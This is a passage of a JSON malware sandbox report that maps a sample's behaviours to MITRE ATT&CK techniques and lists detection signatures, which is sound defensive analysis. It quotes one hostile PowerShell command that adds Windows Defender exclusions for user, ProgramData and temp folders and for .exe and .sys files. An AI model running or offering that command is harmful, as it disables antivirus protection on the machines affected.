Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"YARA signature match – Encryption algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Rootkit","attack_id":"T1014","attack_id_wiki":"https://attack.mitre.org/techniques/T1014","identifiers":[{"type":"informative","value":"References device drivers used by rootkit malware"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"malicious","value":"Drops executable files to the application program directory (%ProgramData%)"},{"type":"informative","value":"Renames files"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Impair Defenses","attack_id":"T1562","attack_id_wiki":"https://attack.mitre.org/techniques/T1562","identifiers":[{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Masquerade Task or Service","attack_id":"T1036.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/004","identifiers":[{"type":"malicious","value":"Attempts to modify scheduled tasks"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Able to retrieve file and directory information"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Retrieves specified items using PowerShell"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Attempts to get system information using PowerShell"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get handle of currently active window"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"References Windows LDAP client module"},{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"Device Driver Discovery","attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Detected NSLOOKUP utility activity"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Tries to copy files"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a web server (PE files)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Able to change the configuration parameters of a service"},{"type":"malicious","value":"Stops or deletes service using sc.exe"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]}],"sandbox_signatures":[{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with high confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-12","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with medium confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"medium\" confidence","origin":"Static Analysis","id":"mlmodel-17","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"1j.ua\", Heuristic match: \"@ry.ky\", Heuristic match: \")#g.sa\", Heuristic match: \"z?.is\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"$27","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"system.io.compression\" (Source: \"00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp, 00000000-00002720.00000001.179099.0C8D0000.00000004.mdmp\")\n Found string \"compressionmode\" (Source: \"00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp\")\n Found string \"decompressionmethods\" (Source: \"00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp\")\n Found string \"compressionlevel\" (Source: \"00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp\")\n Found string \"compressionstrategy\" (Source: \"00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp\")\n Found string \"compressionmethod\" (Source: \"00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp\")\n Found string \"compressiontracingswitchlevel\" (Source: \"00000000-00002720.00000001.179099.0C8D0000.00000004.mdmp\")\n Found string \"compressiontracingswitch\" (Source: \"00000000-00002720.00000001.179099.0C8D0000.00000004.mdmp\")\n Found string \"System.IO.Compression.ZipFile\" (Source: \"00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"CreateThreadpool\" (Indicator: \"CreateThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolIo\" (Indicator: \"CreateThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify Windows Defender exclusions (Powershell command string)","description":"Found reference string \"Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force\" (Indicator: \"add-mppreference\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-980","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00005432)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00005432)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00005432)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00005432)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '2336272875521', 'hResInfo': '2336272876768'}\" (UID: 00000000-00005432)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2336272875521', 'hResInfo': '2336272876800'}\" (UID: 00000000-00005432)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2336272875521', 'hResInfo': '2336272876816'}\" (UID: 00000000-00005432)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2336272875521', 'hResInfo': '2336272876784'}\" (UID: 00000000-00005432)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"RegRestoreKeyW\" (Indicator: \"RegRestoreKey\"; Source: 